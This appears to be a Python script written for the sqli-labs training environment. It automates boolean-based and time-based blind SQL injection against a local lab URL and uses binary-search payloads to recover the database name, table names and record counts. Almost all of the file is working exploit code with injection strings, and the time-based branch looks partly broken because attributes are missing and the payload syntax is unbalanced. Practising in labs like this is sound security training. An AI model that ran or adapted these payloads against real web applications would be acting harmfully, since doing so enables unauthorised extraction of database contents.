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# -*-coding:utf-8-*-
"""
@version: less8-less9
@author: giantbranch Chuanwei
@file: sqli-libs-Chuanwei.py
@time: 2018/8/16
"""
import requests
import urllib
class SqlInject(object):
def __init__(self, lessNum):
self.lessNum = lessNum
self.successStr = "You are in"
self.getTable = "users"
self.index = "0"
self.database = "database()"
self.selectDB = "select database()"
self.selectTable = "select table_name from information_schema.tables where table_schema=\'%s\' limit %d,1"
if self.lessNum == 8:
#基于错误的盲注
self.url = "http://localhost:8002/Less-8/?id=1"
self.asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
self.lengthPayload = "' and length(%s)>=%d #"
self.selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
self.selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
self.selectTableNameLengthPayloadbehind = ",1)>=%d #"
self.selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='security'" + " and table_name='%s')>=%d #"
self.dataCountPayload = "'and (select count(*) from %s)>=%d #"
elif self.lessNum == 9:
#基于时间的盲注
self.url = "http://localhost:8002/Less-9/?id=1"
self.asciiPayload = "' and if(ascii(substr(%s,%d,1))>=%d,0,sleep(2)) #"
self.lengthPayload = "' and if(length(%s)>=%d,0,sleep(2)) #"
self.selectTableCountPayload = "' and if((select count(table_name) from information_schema.tables where table_schema='%s')>=%d,0,sleep(2)) #"
self.selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
self.selectTableNameLengthPayloadbehind = ",1)>=%d,0,sleep(2)) #"
# 发送请求，根据页面的响应猜测结果
def get_result(self,payload,string,length=0,pos=0,ascii=0):
if pos == 0:
finalUrl = self.url + urllib.parse.quote(payload % (string, length))
else:
finalUrl = self.url + urllib.parse.quote(payload % (string, pos, ascii))
res = requests.get(finalUrl)
if self.lessNum == 8:
if self.successStr in res.content.decode("utf-8"):
return True
else:
return False
elif self.lessNum == 9:
if res.elapsed.total_seconds() < 2:
return True
else:
return False
# 获取字符串的长度
def get_length_of_string(self,payload, string):
# 猜长度
lengthLeft = 0
lengthRigth = 0
guess = 10
# 确定长度上限，每次增加5
while 1:
# 如果长度大于guess
if self.get_result(payload, string, guess) == True:
# 猜测值增加5
guess = guess + 5
else:
lengthRigth = guess
break
# print "lengthRigth: " + str(lengthRigth)
# 二分法查长度
mid = int((lengthLeft + lengthRigth) / 2)
while lengthLeft < lengthRigth - 1:
# 如果长度大于等于mid
if self.get_result(payload, string, mid) == True:
# 更新长度的左边界为mid
lengthLeft = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
lengthRigth = mid
# 更新中值
mid = int((lengthLeft + lengthRigth) / 2)
# print lengthLeft, lengthRigth
# 因为lengthLeft当长度大于等于mid时更新为mid，而lengthRigth是当长度小于mid时更新为mid
# 所以长度区间：大于等于 lengthLeft，小于lengthRigth
# 而循环条件是 lengthLeft < lengthRigth - 1，退出循环，lengthLeft就是所求长度
# 如循环到最后一步 lengthLeft = 8， lengthRigth = 9时，循环退出，区间为8<=length<9,length就肯定等于8
return lengthLeft
def get_name(self,payload,string,lengthOfString):
tmp=""
for i in range(1,lengthOfString+1):
left=32
right=127
mid = int((left+right)/2)
while left < right-1:
if self.get_result(payload, string, pos=i, ascii=mid) == True:
left = mid
else:
right = mid
mid = int((left + right) / 2)
tmp += chr(left)
return tmp
def get_table_name(self,selectTableCountPayload, selectTableNameLengthPayloadfront, selectTableNameLengthPayloadbehind, DBname):
'''
获取所有表名称
:param DBname:
:return:
'''
tableCount = self.get_length_of_string(selectTableCountPayload, DBname)
tableName =[]
for i in range(0, tableCount):
# 第几个表
num = str(i)
# 获取当前这个表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = self.get_length_of_string(selectTableNameLengthPayload, DBname)
# print "current table length:" + str(tableNameLength)
# 获取当前这个表的名字
selectTableName = self.selectTable % (DBname, i)
tableName.append(self.get_name(self.asciiPayload, selectTableName, tableNameLength))
return(tableCount,tableName)
def get_column_name(self, selectColumnCountPayload, dataCountPayload, tableName):
columnCount = self.get_length_of_string(selectColumnCountPayload, tableName)
dataCount = self.get_length_of_string(dataCountPayload,tableName)
return (columnCount, dataCount)
if __name__ == '__main__':
#less9请修改为9
lessNum = 8
a = SqlInject(lessNum)
print("Less: " + str(lessNum))
DBlength = a.get_length_of_string(a.lengthPayload, a.database)
print("数据库名长度：" + str(DBlength))
DBname = a.get_name(a.asciiPayload, a.database, DBlength)
print("数据库名称：" + DBname)
#获取数据库表名称
tableName= a.get_table_name(a.selectTableCountPayload, a.selectTableNameLengthPayloadfront, a.selectTableNameLengthPayloadbehind, DBname)
print("表数量: " + str(tableName[0]))
print("表名： " + str(tableName[1]))
#获取users表数据
dataCount = a.get_column_name(a.selectColumnCountPayload, a.dataCountPayload, a.getTable)
print (dataCount)
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